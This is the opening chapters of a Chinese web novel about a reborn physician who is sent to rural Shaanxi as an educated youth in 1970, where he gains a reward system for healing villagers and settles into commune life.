《知青下乡,我成了村里香饽饽》 第1章 大不了这个副院长不当就是了 1970年,梧桐成荫的家属院内。 “既然谁下乡都一样。” “那为什么不让守成去,偏偏这个人就得是我呢?” 黄漆剥落的八仙桌旁,江沐一边扒着搪瓷碗里的稀粥,一边抬头也不抬的说道。 苏红霞脸上微微有些尴尬,端着碗说道:“阿沐,你也知道咱们家这个情况,现在全国都在相应号召,你爸好不容易当上副院长,他总要起好带头作用吧?你弟弟从小就没吃过苦……” “苏姨,你说的这些我都知道。” 江沐将吃完的空碗放在桌子上,目光看向江东山:“爸你呢?你也这么想。” 这顿饭,江东山从一开始就揣着心事。 此刻根本不敢去看儿子的眼神,只能沉默着抽着卷烟,任由烟头忽明忽暗。 “行,我知道了。” “你们回头给我准备500块钱吧,粮票啥的都准备一下,被褥我自己有,报完名通知下来我就走。” 让人意外的是,没有吵闹,没有争辩。 江沐只是平静的陈述着自己的条件。 但苏红霞脸色却猛地变了,声调拔高三分:“多少?五百,你当钱是大风刮来的,你去看看现在谁家能随便拿出五百块钱来?再说了,你要钱干什么?下乡的人家都管吃管住管分配,给你你也用不着。” “用不用得着,那是我的事,把我赶去下乡,我就这条件,不行的话让守成去。” “你这孩子怎么说话的,什么叫赶你走……” “够了!” 江东山猛地一拍桌子,朝着苏红霞摆了摆手:“去屋里拿钱。” “江东山,你敢吼我,我说错什么了?” “拿钱!” 江东山沉着嗓子,又说了一遍。 苏红霞愣住了,这老实巴交的男人,今天竟敢冲着她发脾气了,正待发作的她,想到自家儿子,随后又忍了下来。 算了,五百就五百。 总比守成去乡下好。 想到这,她脸上再度浮现笑容,拍着江沐的肩头轻声道:“行!姨这就给你拿,这手心手背都是肉,姨还能不给你咋的?等着啊!” 说罢,一步三回头的朝着卧室走去。 江东山什么也没说,砸吧着烟,把碗筷收进了厨房。 江沐独自坐在餐桌上,眼神里全然是不符合这个年纪的清冷,虽然穿越至今不久,但他对这一家人早就失望透顶了。 前身生母死的早。 江东山续弦无可厚非,只是生了小的,再想顾大的,就得看现任老婆的眼色了。 这些他都明白,但理解并不意味着可以谅解。 亲情这个东西,就是体现在差距上,当所有好东西都给另一个孩子的时候,再想让他把这里当做家,自然就有些不现实了。 对于前身的经历,江沐只觉得深表同情。 不过下乡,对他来说未必是件坏事。 前世作为享誉中外的医科圣手,凭他的本事,在哪都能吃上一口热乎饭。 卧室内,江沐正收着东西,江东山敲了敲门,走进来说道:“咋着急收了,等通知下来也不迟啊。” “先收好,免得来不及。” 江沐头也不抬应了一声。 看着儿子如此疏远的态度,江东山要说不难受,那是骗人的,眼眶一红叹了口气:“爸知道,你心里怨我,你比别的孩子都懂事,这些年是这个家亏待了你。” “没事,已经习惯了。” 江沐抬头轻笑,懂事的让人心疼。 江东山看着莫名揪心,索性一咬牙道:“好了,别收了!你要真不想去,咱就不去了,大不了这个副院长不当就是了。” “爸,别说气话了。” “你想不当,苏姨也不答应,就因为这事,没必要闹得鸡犬不宁。我好歹也念过高中,医术算不上厉害,但分到医疗站应该还是没问题,情况要比一般人好得多,你用不着担心我。” 江东山听着心酸,最后从怀里摸出一沓红布包:“这五百块是爸这些年偷偷攒的,爸对不住你,你以后想吃啥买啥,千万别亏了自己。” “谢谢爸。” 江沐当然也不客气。 江东山这个副院长,一个月工资一百七十多,再加上苏红霞两人每月至少能存下来一百五,这五百块钱对这个家来说,不少,但也绝不算多。 江东山叹了口气,离开了房间。 决定好了人选后,报名、登记都不用江沐操心,就连排队都免了。 在这件事上,苏红霞这个街道办妇女主任,给江沐这个自家孩子,安排的明明白白。 当天下午,通知就下来了。 “阿沐啊!组织上给你分配到陕州了,具体好像是陕北邹县那边,姨那边正好有个老同学,到时候帮你打声招呼,肯定照顾你。” 苏红霞兴高采烈的回到家,看上去比谁都高兴。 江东山背着个简陋的手工医疗箱,正准备换鞋出门,只是“嗯”了一声。 “马上到饭点了,你上哪去?”苏红霞也不介意,笑呵呵问道。 “去北巷刘阿婆家,她风湿又犯了,我去给她做个推拿。还有东街的赵伯,家里就剩他一个,我看看他咳嗽好点没。” “又不沾亲带故的,也不知道你天天瞎操心啥,回头真出了什么问题,再赖上你。” 苏红霞双手环胸,不以为意地笑了。 江沐没有说话,背着个箱子就出了门。 “听不懂好赖话!白眼狼!” 苏红霞气的直翻白眼,但转念一想,随便他折腾吧,反正人马上就走了,顿时心情又愉悦起来。 …… 日薄西山,红霞映天。 江沐一边弯着腰从巷子里一户人家退了出来,一边摆手:“不不不,这鸡蛋真不能收,您留着自己吃,我真不用。” 头发花白的老头颤颤巍巍提着鸡蛋,一脸感激。 “小江啊,你是个好小伙,这些年街坊邻居有个头疼脑热的,你都分文不收,我……我老头也不知道该怎么感谢你了。” “我以后可能来不了了,您老把自己身子骨照顾好,那就是对我最好的感谢!” 江沐发自内心的笑了,对于一个医者而言,没有什么比这一刻更有成就感了。 “来不了了,咋回事?” “我要下乡了,明天就走。” “啥?下乡?江主任……不江院长咋想的?你等着,我这就找人去说说,这不胡闹嘛!”老头急了,听到江沐下乡,简直比自己儿子发配还焦急,放下鸡蛋就准备出门。 “阿伯,别,真不用……” “你别管!这事我非要找人说说,他江东山当年还是我看着长大的,现在当了院长,不得了了呀!”老头一把甩开江沐,蹒跚的脚步踩的飞快,挨家挨户的叫人去了。 江沐有些无奈,刚想追上前去。 【叮!恭喜宿主,达成前置条件:千次义诊!】 【声望商城已激活,凭借声望值,可进入商城物品置换。】 【当前声望:100点。】 第2章 这药效,是不是太猛了! 江沐愣在原地。 系统? 反应过来后,他大致浏览了一遍,小到柴米油盐,大到航母火箭,只要能想到的物资,里面可谓是应有尽有。 “声望值就能兑换吗?” 江沐看了下,自己的声望值,应该就是这些义诊积累的吧。 当初他这么做,一方面是为了保持水准,以免长期下来手生,二来也是为了照顾那些阿公阿婆,毕竟医者仁心。 没想到无心插柳柳成荫。 居然达成了系统的前置任务? 简单比对了一下,除开一些看上去就遥遥无期的东西,像白面大米这类东西,上面都明明白白写着20/斤,肉类则是50/斤。 至于三转一响,这类还算常见的家电,则稍微贵点。 几千声望才能兑换。 江沐琢磨了一下,这三年义诊,他不说街坊巷弄人尽皆知,但也混了不少熟脸,就这才好不容易凑了100声望,结果合着就只能换五斤白面? 是! 这年头物资短缺,粮食价格不便宜,但三年义诊=五斤白面。 资本家听了都流泪啊! “不对!不对,肯定漏了什么,不然就这么攒下去,别说飞机航母了,结婚用的三转一响都凑不齐!”江沐摇了摇头,摆弄了一下界面。 终于,在旁边看到了抽奖转盘。 “哦,能抽奖啊!” 大致浏览一番后,总结如下: 单抽100/次。 十连抽打九折。 而可抽奖次数后面写了个“十”,看样子应该是系统免费赠送的新手福利。 “那就试试!” 江沐立刻消耗了次数,选择了十连抽。 转盘飞快转动,他的心也跟着悬了起来。 【叮!恭喜宿主累计获得:普通奖励X7,超值奖励X1,稀有奖励X1,珍贵奖励X1】 【普通奖励:杜蕾斯超薄无感十盒装、大白兔奶糖一罐、中华一条、精选大米五斤、金龙鱼调和油一桶、透气男袜十双、防晒霜一盒、卫生纸三提。】 【超值奖励:黑武士机械手表(百元某宝款)】 【稀有奖励:大马士革刀(大师级手工锻铸)】 【珍贵奖励:固元丹】 【奖励暂存于系统仓库,请宿主注意查收!】 十次抽奖结果很快揭晓。 看着七个奖励里,混进去了一个奇怪的东西,江沐不由嘴角抽搐。 不过普通奖励的价值,他差不多已经知晓了。 也就是说,按照性价比来说,抽奖是最为划算的,毕竟有概率出更好的物资。 但如果想要某种特定的东西,那也只能进行置换了。 越过机械手表和大马士革两个奖励后——毕竟这俩玩意暂时看上去没什么用——他目光直接锁定在了最后一个珍贵奖励上。 固元丹? 介绍也没有。 心念一动,江沐的手中,凭空多了一枚黑乎乎的药丸子,闻着有股扑鼻而来的中药味道。 本着系统出品,必属精品。 江沐毫不犹豫,将一整颗药丸子塞进了嘴里。 神奇的是,本以为难以下咽的药丸,竟然入口即化。 随后一股暖流自胃部开始发散,流经四肢百骸后,江沐整个人都精神起来了。 原本的身形变化不大,但肌肉曲线却变得更加流畅硬朗。 源源不断的力量,开始在体内涌现。 他整个人的气质,都由内而外的发生了变化。 从原本的沉默内敛,变得温润如玉,但是看着就给人一种如沐春风,非常舒服的感觉。 这就是固元丹? 就在江沐感到激动不已的时候,忽然一股燥热,从小腹处传来,紧接着他脸色猛地变得涨红,下意识弯腰弓背。 四处瞧了瞧,确认没人察觉后,这才连忙躲了起来。 原来是这么个固元啊…… 这药效,是不是太猛了! …… 与此同时,家属院内。 “那江院长,咱们可说好了啊,你要把小江送走,这事情可千万不成啊!不然我们这些老骨头,第一个不答应!” “是是是!赵叔、刘姨你们慢走,看着点路啊!” 七八个老头老太太,在江东山不断弯腰赔笑下,这才好不容易打发着离开了院子。 刚回到屋,就见苏红霞板着脸,双手环胸坐在凳子上:“哼!这就是你儿子,嘴上答应的比谁都痛快,背地里全是损招!” “你胡说什么?” 江东山烦躁的皱了皱眉。 “我胡说了?” 苏红霞声调猛地拔高,“这些老头老太太平时八竿子打不着,怎么都跑家里闹来了?我说你儿子这么好心,这节骨眼了还去当老好人,合着去搬救兵了!平时看着老实巴交的,结果浑身都是心眼子。” “你闹够了没有!” 江东山忍无可忍,怒吼起来。 苏红霞先是一愣,随后也站了起来:“江东山,你什么意思?难不成你真听了那些老东西的,要把守成送去下山?我怎么就嫁了你这么狠心的人,那可是咱俩亲儿子啊!” 苏红霞红了眼眶,直接将一堆瓶瓶罐罐扫在地上。 “行!那就把守成送走,这家里以后你儿子说了算,等他将来当了家,再把我们娘俩扫地出门,这样你才高兴!我不活了……” “好了!” 江东山一脸头大地看着哭闹的苏红霞,“阿沐都已经答应了,报名表也填了,通知也下来了,你现在还闹什么?他明天就走了,你能消停点不?” “行!我不闹就不闹。” “他下乡以后,能不能回来还不一定,反正没我的允许,以后不准再给他邮钱,邮吃的、用的,也要经过我允许!” 看着江东山出门的背影,苏红霞抹掉泪花,气势汹汹的喊道。 恰好这时候,江沐从外面走了回来。 父子俩撞了个对面。 江东山什么也没说,直接走到院子树下抽了起来,旁人打招呼也没理会。 屋内,苏红霞则愣在原地,好半晌才挤出悻悻的笑:“阿沐,姨不是那个意思,主要是……” “放心,我知道。” “离了这个家,以后我不会回来了。” 江沐面无表情地点了点头,回屋放药箱去了。 第3章 老乡,咱们被分到一起了! 翌日晌午,火车站台,军绿色的火车一列又一列。 周围挤满了各种来送行的家属。 知青办的主任举着扩音喇叭,不断维持秩序:“同志们,知青下乡,这是国家政策,也是孩子的光荣,都不要再送了!” “儿啊,娘舍不得你啊!” “闺女,到了地方,千万照顾好自己。” “妮子,记得给爹写信报平安啊!” 周围分别的人哭作一团,现场无比混乱。 江沐坐在列车后座的一角,余光扫了眼人群后,虽然早有心理准备,但还是不免一阵失望,但随后长叹一口气,又露出了释然的苦笑。 …… 家属院内。 苏红霞倚着门框嗑着瓜子,眉眼满是笑容:“诶?你今儿咋不去送你儿子?不都请假了嘛,杵在家里不动弹。” 苏红霞高兴,一方面是因为江沐走了。 另一方面,是自己儿子终于从隔壁县城调回来了,马上就能回家了。 江东山低着头,烟一口一口的抽着,没人察觉他泛红的眼眶。 送人? 他倒想,可他没脸去啊! 尤其听到苏红霞的笑声,他心里就越发不是滋味,抹了把湿润的眼角后,这才站起身来:“这下你高兴了。” 说完,一把摔上门回屋去了。 苏红霞掐着腰在后面大喊:“你朝我吼什么吼,有本事出去撒泼去!” …… 知青下乡的列车,到点发车了。 坐在江沐旁边的,是一个满脸雀斑的寸头青年,朝着江沐伸手笑道:“老乡,你去哪嘞?我叫陈小军,去陕州的。” “我也是,我叫刘阳,我也是去陕州的。” 对面座位的矮瘦青年,也朝这边伸出了时候。 “江沐,我也是。” 看样子,这列车厢的人,都是去陕州的。 “大家都高兴点嘛!” “咱们上山下乡,可是去学习的,等学习完了,迟早都是要回来的。”陈小军明显是个乐天派,带头唱起歌来。 欢乐的氛围,瞬间感染了周围的人。 越来越多的人开始加入,随后整个车厢,都响起了歌声。 江沐看着这一幕,心中不由叹了口气。 是啊!能回来。 二世为人的他,当然知道这件事。 不过,那得十年后了。 看着这些充满朝气、笑容的面孔,江沐在想,他们这一生,能有多少个十年。 火车一路奔波,终于在第三天上午,成功抵达了陕州。 火车站外,早有成队列的解放牌卡车等候多时了,上面拉着横幅“欢迎知青下乡”。 等江沐从车站出来的时候,外面已经走了好几车了。 轮到他的时候,他先把行礼扔了上去,踩着后车杠刚准备往上蹬,一只手就伸了出来:“老乡,咱们被分到一起了!” 陈小军笑起来的时候,小雀斑显得有些可爱。 “是吗,那挺巧啊!” 江沐握住手,顺势借力爬了上去,等上去之后,他这才发现刘阳也在上面。 陈小军一脸吃痛的甩着手:“我说江哥,你这手劲也太大了。” “不好意思,我太用力了。” 江沐歉意地挠着头,经过固元丹强化后,他的力气要比寻常人大好几倍,现在还在在慢慢适应。 这辆卡车,是前往邹县的。 等到了邹县,车上三十来号人,又得前往各个公社,后面的路就没有那么舒服了。 换乘拖拉机不说,道路也变得颠簸起来。 “唉!可惜刘阳没跟咱们分一起……” 陈小军有些失望的叹着气,“哎呦!我的屁股!” 江沐点了点头,他们被分配的叫青莲公社,等折腾一路到地方的时候,已经是下午六点了。 公社院子里,两个脑袋缠着汗巾,皮肤黝黑的汉子正在树下乘凉。 看见来车后,朝着屋内喊了一嗓子: “周书记,车到了。” 很快,屋内就走出一个穿着藏蓝色、洗的有些发白的中山装的平头中年人:“欢迎大家来到青莲公社,我是咱们公社书记周志康,舟车劳顿,我就不废话了,趁早分完,大家好早点回去休息。” 很显然,这位周书记不是个官腔派。 一上来表现出来的态度,赢得了众人不少好感。 “刘阳!” “到!” “孙少国!” “到!” “邹芳芳!” “到!” “还有这个……江沐!” “到!” 江沐应了一声。 “你们四个,去二大队!这位就是你们队长李有柱!以后你们就服从他的安排,有啥困难、需求,也可以找他……好了!老李,你先带这几个孩子走吧。注意事项什么的,路上在给他们说,再耽搁天该黑了。” 周志康招呼一声,旁边的黑脸汉子立刻应了一声。 “谢周书记,那我们先走了。” 笑起来露出一口白牙,显得格外憨厚老实。 得! 这下拖拉机改驴车了。 放好行李后,四个人坐在后面车板子上,略显拥挤。 李有柱坐在车头,鞭子一抽,驴脖上的铃铛便丁零当啷的响了起来,车子也跟着动了。 “咱们二大队,一共有七个小队,一个知青点。” “以后啊,有事情先找点长解决,他们解决不了,就来找我!队里活不算多,工分也比较好挣,男同志的一天十分,女同志八分……当然,要想拿满工分,前提是好好干。” “你们都是城里来的知识分子,刚来肯定不习惯,但这苦嘛,越吃越香……” 就这样,驴车赶了一路,李有柱说了一路。 终于在天黑的时候,一车人顺利抵达了知青点。 所谓的知青点,就是一个四排三间的小宅院,听说以前是地主的宅子,后来充了公,荒了一段时间,现在正好被利用起来了。 “小吴!” 进了院子后,李有柱扯子嗓子喊了一嘴。 随后,就有个戴眼镜,穿着粗布衬衫的男人跑了过来:“诶,来了。” “新知青到了。” 李有柱转头看向四人介绍道,“这位是吴有才,也是咱们知青点的点长。” “同志们好!” 吴有才也笑着跟众人打起了招呼,“待会我给大家分配宿舍,晚点带大家去领口粮,至于工作分配,那要等明天开会,现在我先带大家熟悉下人。” “行!那这就交给你了,我先走了。” 李有柱摆了摆手,转身离去。 吴有才带着几人进了堂屋,里面还有另外六个人,都各自忙着手上的活。 见到吴有才进来后,这才互相介绍了起来。 六人,三男三女。 再加上新来的四人以及吴有才,正好七男四女十一个人。 “既然大家都认识了,我现在说一下宿舍,因为只有三个屋子,所以女同胞们住一屋,其余男同志们住俩屋,暂时住宿就是这样!走,我带大家去看看屋子,床铺已经收拾出来了,你们自己商量着选。” “来,同志们,大家帮新来的同志搬下行礼。” 吴有才招呼一声,带着众人朝院里走去。 “吴哥!” 就在这时,陈小军忽然偷偷拉了吴有才一把。 “什么哥不哥的,叫我老吴就行。”吴有才是七三年下乡的,比在场所有人都大,但一点架子都没有。 “那什么,我想问问,这工作安排,我们可以自己选吗?”陈小军有些不好意思,他来的时候听说了,下乡的知青,有些脏活累活根本吃不消。 这下,周围都汇聚了过来。 新来的四人,都比较关心这个问题。 吴有才摸着下巴沉吟道:“我知道你们在担心啥,但是这事主要是组织安排,当然你要有一技之长,也可以跟上面申请,不过……” 话至一半,忽然一阵急躁的铃声响起。 众人抬头一看,就见黑夜中那李有柱的驴车竟去而复返,一脸焦急地赶着路。 吴有才连忙喊道:“李队长,咋了?” 李有柱停下车没来得及说话,车上一个抱着孩子,裹着头巾的妇人就一脸焦急道:“我、我家娃发烧了,烫得很……” 说着话,眼瞅着就要急的哭出声来。 “先不说了,我先送孩子去卫生所。” 李有柱摆了摆手,然后便要继续赶路。 这时候,江沐忽然走了过来,低头一边打量着一边说道:“先别急,让我来看看吧。” 第4章 简直神了! 听到江沐的话,周围都是微微一愣。 江沐这才解释道:“我家就是行医的,我打小就学医。” 知青的资料,都在公社书记那,所以大家都不知道江沐的来历。 只有李有柱一拍大腿,激动道:“你会看病,那太好了,咱们卫生所太缺医生了。” “咳咳……” 旁边的吴有才有些尴尬的咳嗽提醒。 李有柱这才拍了拍脑袋:“对对对,这事回头再说,先给孩子看病要紧。” 前世,江沐擅长的是中医。 而中医讲究望闻问切。 他先是伸手试了试孩子的体温,然后掰开眼皮、嘴巴,分别看了看孩子的眼珠和舌苔喉咙,心里顿时有了七八分定数。 随后,他一边把着脉一边问道:“孩子最近咳嗽很严重吗?” 所谓中医揣着明白装糊涂,其实就是这么回事。 江沐已经看出了端倪,但还是要确认一下。 “嗯嗯,已经咳了有两天了,但是前面都不咋有事,今天突然就发烧了,我一摸烫得很,给我吓得,这这……” 妇人急的语无伦次,一时间不知该怎么称呼。 “江沐。” “小江医生,我娃莫得事嘛?” 看着妇人焦急紧张的样子,江沐宽慰地点了点头: “放心,没啥大事。” 随后他看向身后,“麻烦帮我准备盆凉水,毛巾打湿给孩子身上擦擦……来!先帮我把孩子衣服脱了。” 热疾,首先就得散热。 按理说这个时候,吃点退烧药,然后在消炎止咳就行。 但目前的条件,吃药退烧肯定是来不及了。 前世见惯大场面的江沐,不慌不忙的示意道:“你们等我一下,我回屋拿点东西。” 拿什么? 银针! 中医针灸治百病,这话听起来夸张,但实则是有一定道理的。 人体穴位遍布全身,经络要穴不同,对应器官功能不同,所谓刺穴,本质上就是利用人体本身的生理功能,进行强化类的自我治愈。 现在,针灸就是最好的办法。 江沐的包里当然没有银针,他回屋避开众人,目的主要是方便在系统进行兑换。 “一百声望点?” 虽然好的银针,的确价格不菲,但江沐也没想到会这么贵。 果然还是抽奖划算啊! 人命关天,不容犹豫。 “贵就贵了点吧!” 咬了咬牙,江沐还是选择了兑换。 带着银针出来的时候,众人有的在给孩子帮忙擦背散热,又得在焦急地往屋里张望,估计江沐再不出来,他们就要进来催了。 “小江,快点啊!” 李有柱也是急性子,立刻招呼起来。 “来了来了!” “别着急,我说了孩子不会有事的。” 江沐哭笑不得的走上前,银针入掌的瞬间,眉目神情就变得严肃了起来,众人大气不敢出,都下意识屏住呼吸。 而江沐也实实在在的表演了一番,什么叫做指如拈花,手若蝶舞…… 太快了! 周围人压根就没看明白怎么回事,等回过神来的时候,江沐已经从旁人手中接过毛巾,一边擦着额头上的细汗一边笑道:“行了,没事了。” 话音刚落,原本昏迷不醒的孩子,顿时“哇”的一声,哭出声来。 众人见状,齐刷刷长舒了口气。 “我的娃啊,你可算醒了……” 妇人抱着孩子痛哭流涕。 李有柱瞪大了眼睛:“神了!简直神了!” “老天爷!江哥你还有这一手呢,你咋不早说呢?”陈小军兴奋的眉飞色舞。 众人都不是傻子。 江沐那施针的手法,就算他们是一帮外行,也能看出不简单来。 江沐笑了笑,对着妇人说到:“孩子这是窝咳,还得吃药才行,今晚应该没事了,明天一早去卫生所拿药,或者你实在不放心,这会去也行。” “好好好!知道了,谢谢小江医生。” 妇人感激涕零,不断点头。 李有柱想了想,决定还是现在去吧,但临走时候又忍不住看向江沐:“我说小江啊,你早说你会看病,我就直接给咱们书记打招呼,直接让你去卫生所得了。” “怎么?卫生所很缺人吗?” “哪里是缺人,是压根没人,除了两个卫生员,一个真正的医生都没有。” 旁边的吴有才,听后忍不住露出苦笑。 江沐愣了愣,他没想到,这青莲公社条件这么艰苦。 “那先就这么说好了。” “回头我就把你这情况报告给书记,你准备一下,不出意外的话,明天我就带你去卫生所报道。” 李有柱人已经走远,人还不忘回头叮嘱。 江沐笑呵呵点了点头:“行,没问题。” 李有柱远去后,众人都陆陆续续回了屋子。 这时候,江沐才注意到,周围的知青们,尤其是那几个老知青,都朝他投来了一脸羡慕的眼神。 陈小军更是一拳锤来笑道:“可以啊江哥,你以后在咱们公社,肯定能混的风生水起,到时候可别忘了照顾下兄弟我啊!” “瞎胡说什么呢?” 江沐没好气说道。 “我可没瞎胡说,下山的知青,基本上干的都是苦力活,像卫生员、医生这种,基本上等于告别农活了,一点苦都不用吃了。” 陈小军压低声音,“这都是我堂哥写信告诉我的,不信你看周围那帮人,眼神酸的恨不得能把你活吃了,那股子酸味啧啧啧。” 江沐翻了个白眼。 他当然知道陈小军说的是真的。 而且他一来,就这么出风头,很容易被孤立。 但没办法,要想改变处境,他就得当这个出头鸟。 算了! 也懒得去管旁人怎么想了。 收拾好床铺后,江沐躺在床上,这才有空打开系统面板。 【叮!恭喜宿主成功治愈一例病患!】 【来自陈小军的声望值+3】 【来自邹芳芳的声望值+1】 【来自吴有才的声望值+1】 【来自李有柱的声望值+1】 第5章 想在村里买个房子,搬出去住 天还未亮,窗外灰蒙蒙一片,冷风顺着窗缝往里钻。 屋里此起彼伏的鼾声中,吴有才已经窸窸窣窣地穿起了衣服。 这点动静在寂静的清晨里格外清晰,江沐几乎是同时睁开了眼。 “吴哥,每天都得这么早?”江沐压低了声音,看着窗外那抹微弱的天光,感觉浑身的细胞都在抗议。 “冬天八点上工,夏天就得六点。”吴有才一边系着扣子,一边哈着白气,“咱们得赶在出工前把早饭吃了,你们刚来,今天不用上工,可以在村里转转,熟悉下环境。” 两人的对话声吵醒隔壁床铺的陈小军,他翻了个身,发出一声痛苦的呻吟:“我的天爷,这才几点,简直要命……” 江沐不再多言,利索地穿好衣服,走出了满是汗味和脚味的屋子。 院子里的冷空气让他精神一振。 几个老知青已经生好了火,正围着灶台忙活,锅里煮着稀得能照见人影的玉米糊糊,几根咸菜疙瘩摆在案板上。 “起来了?”吴有才端着个搪瓷碗,朝江沐招呼了一声,“快来吃点,垫垫肚子。” 江沐点了点头,心里却盘算着另一件事:“吴哥,我从家里带了些粮票和吃食,回头我把该补的份子都补给大家。” 他不喜欢占人便宜,尤其是在这个物资匮乏的年代。 吴有才摆了摆手,浑不在意:“嗨,说这些就见外了,一顿饭算啥。” 吃过寡淡的早饭,吴有才带着几个老知青扛着锄头,说说笑笑地离开了。 偌大的知青点,瞬间又安静了下来。 江沐也没什么事,索性就在村子里溜达起来。 青莲公社的村子不大,土坯墙,茅草顶,家家户户的烟囱冒着炊烟,空气中弥漫着柴火和泥土混合的味道。 刚走到村口,就撞见了带着几个社员准备下地的李有柱。 “小江!”李有柱一见着他,那张黝黑的脸上立刻堆满了热情的笑容,大步流星地迎了上来,大手重重拍了拍江沐的肩膀。 “昨天真是太谢谢你了!俺家那婆姨回去念叨了一晚上,说你是活菩萨下凡!孩子昨晚睡得可香了,一声都没咳,烧也全退了!” 江沐被他拍得一个趔趄,苦笑着揉了揉肩膀:“李队长,这都是我该做的。” 李有柱咧着嘴,一口大白牙格外显眼:“欸?你今儿个不用上工,这是要去哪?” “我出来转转,熟悉下环境。” “那感情好!”李有柱点了点头,随即又严肃起来,指了指远处连绵的群山,“在村里转转就行,千万莫上山!那山里头不安生,有野猪和狼,危险得很!” 江沐应了下来,目送着李有柱一行人走向田埂。 他在村里又转了一圈,实在有些索然无味,便折返回了知青点。 屋里,陈小军他们还在梦里会周公,鼾声震天。 江沐无奈地摇了摇头,刚在床上躺下,准备闭目养神,脑海里却突兀地响起了一连串的提示音。 【叮!来自王二婶的声望值+1】 【叮!来自李家婶子的声望值+1】 【叮!来自赵大伯的声望值+1】 …… 一连串的叮叮声,没完没了地响了起来。 怎么回事? 江沐立刻在心里发问,系统却没有给出任何答复,只是机械地播报着声望值的增加。 这诡异的情况持续了将近半个小时,才终于停歇。 江沐迫不及待地打开面板一看,声望值那一栏的数字,已经从个位数,疯涨到了一百点! 这是……捡到宝了? 直到上午十点多,陈小军和刘阳才顶着鸡窝头,打着哈欠从屋里晃了出来。 “我的娘,饿死我了……”陈小军揉着肚子,四下张望,“有啥吃的没?” 江沐从床上坐起身:“早饭已经吃过了。” 陈小军顿时瞪大了眼睛,一脸控诉:“江哥,你也太不厚道了!自己吃独食,也不喊我们一声!” 江沐眼皮都懒得抬一下:“吴哥早上喊过你们,是你们自己起不来。” 陈小军和刘阳对视一眼,回想了一下,好像……确实有那么回事。 两人脸上顿时写满了尴尬。 江沐懒得理会他们,信步走到院子里。 只见邹芳芳正坐在一个小马扎上,手里捧着一本书看得入神。 “不无聊吗?”江沐随口问了一句。 邹芳芳被吓了一跳,抬起头,见是江沐,这才松了口气,扶了扶眼镜:“还行,我从家里带了不少书过来,你要是没事做,我分你几本?” “不用了,谢谢。”江沐赶忙拒绝,他对那些大部头的理论书籍可没什么兴趣。 两人就这么有一搭没一搭地在院子里聊了起来,倒也不算无聊。 临近中午,吴有才他们扛着农具回来了,一个个累得满头大汗。 吴有才的目光落在江沐身上,充满了掩饰不住的好奇和探究。 “吴哥,我脸上有花?”江沐被他看得有些发毛。 吴有才嘿嘿一笑,凑了过来,压低了声音:“你小子可以啊!现在整个二大队,谁不知道咱们知青点来了个神医? 大队长家的媳妇,把你昨天救人的事迹添油加醋地传遍了,说你银针一扎,阎王爷都得把人还回来!” 江沐恍然大悟。 怪不得声望值会突然暴涨,原来是靠着村民们的口口相传。 这传播效率,可比他自己义诊快多了。 “吴哥你可别取笑我了,都是婶子在夸大其词。”江沐谦虚地应付着,随即指了指屋里,“芳芳同志已经把饭做好了,你们快洗洗手去吃吧。” 午饭后,江沐心里打定了主意。 他直接找到了正在村头大槐树下抽着旱烟的李有柱。 “李队长。” “小江啊,啥事?”李有柱见他来了,连忙把烟杆在鞋底上磕了磕。 江沐也不拐弯抹角,开门见山:“我想在村里买个房子,搬出去住。” 这话一出,李有柱直接愣住了,烟杆都忘了收起来:“啥?搬出去住?为啥啊?知青点住得不习惯?” “嗯,不太习惯。”江沐给出了一个笼统的理由。他总不能说,自己受不了那一屋子的脚臭味和鼾声,更重要的是,他需要一个绝对私密的空间来处理系统里的东西。 李有柱盯着江沐看了半晌,见他神情坚定,不像是开玩笑的样子,便重重地点了点头。 “行!”他猛地一拍胸脯,唾沫星子横飞,“你对咱们大队有恩,这点小事包在俺身上!” 第6章 这真是双喜临门,房子工作都解决了 傍晚时分,李有柱的大嗓门就由远及近地在知青点院外炸响了。 “小江!小江同志!快出来!” 江沐推门而出,只见李有柱一抹脸上的汗,黝黑的脸上是藏不住的兴奋,:“走!俺给你寻摸了个好地方!咱们大队书记家的老宅子,他寻思着卖了!” 话音未落,他已经拽着江沐的胳膊往村里走,那力道,不容人拒绝。 两人穿过几条泥土小径,停在了一户青砖瓦房前。 一个面容方正、眼神精明的中年男人正蹲在门口抽烟,看到李有柱,站起身来拍了拍裤腿上的土。 “高书记,人我给你带来了。”李有柱嗓门不减。 高志强,青莲公社的二大队书记,他上下打量了江沐一番,眼神里带着几分审视,随即露出和气的笑:“你就是江沐同志吧?听有柱念叨你半天了,年轻有为啊,走,先看房。” 他为人干脆,不拖泥带水,领着两人绕到自家房子后面一处独立的院落。 三间连排的土坯房,带着个不小的院子,用半人高的泥墙围着,院里杂草丛生,几乎能没过膝盖。 房子看得出有些年头了,门窗都有些歪斜,但主体结构还算结实。 “这院子以前是我爹娘住的,老人家走了以后就一直空着。”高志强推开一扇木门,一股尘封的霉味扑面而来,“地方敞亮,也清净。” 江沐迈步进去,屋里空空荡荡,只有些破旧的桌椅板凳。 他抬头一看,眉头微微一挑。 屋顶上,两个脸盆大的窟窿格外刺眼。 “这……” “咳,”高志强脸上闪过一丝尴尬,“前阵子下大雨,给冲塌了两块,一直没顾上修。” 江沐心里却是一动。 对他来说,这都不是问题。 虽然破败,但胜在清净宽敞,最重要的是,这里将是他一个人的天地。 系统里的秘密,终于有了一个安全的存放之所。 “高书记,这房子怎么卖?”江沐转过身,目光平静。 高志强思考了一下:“一百五十块,你这还得找人修,不然这价可不止,你也知道,如今这年头,批块宅基地有多难。” 李有柱在一旁猛点头,瓮声瓮气地帮腔:“高书记这价给得实在!小江,这可是连着宅基地一起卖给你,换了旁人,没二百块想都别想!” 江沐心中早有计较,他从城里带出来的钱足够。 一百五十块,买一个安稳独立的空间,对于他而言,远比钱重要得多。 “行,我买了。”他没有丝毫犹豫,“不过高书记,我还得麻烦您个事。村里有没有手艺好的泥瓦匠?我想请人把这屋顶修了,工钱我照付。” 高志强没想到他答应得如此爽快,眼中精光一闪,立刻拍了胸脯:“这好办!咱们村的赵文就是一把好手,修房补漏没得说!” “那咱们现在就去办公室把协议签了?” “成!” 三人转身往大队办公室走。 刚走到村口的大槐树下,迎面就走来一个扛着锄头的汉子,正是高志强口中的赵文。 “赵文,正好找你!”高志强直接把他拦了下来,指着江沐,“这位是新来的江知青,刚买了我们家老宅,屋顶那俩窟窿你晓得吧?江知青想请你给修修,给你开工钱!” 赵文一听有活干,眼睛都亮了,锄头往地上一戳:“修!啥时候修?”他打量了一下江沐,估摸着是个不差钱的主,心里盘算开了。 “这活儿要几个人?几天能完事?”江沐直接问。 赵文挠了挠头,憨厚地笑了笑:“那窟窿不大,我再找俩人搭把手,快得很,一天保准给您弄得妥妥帖帖!” 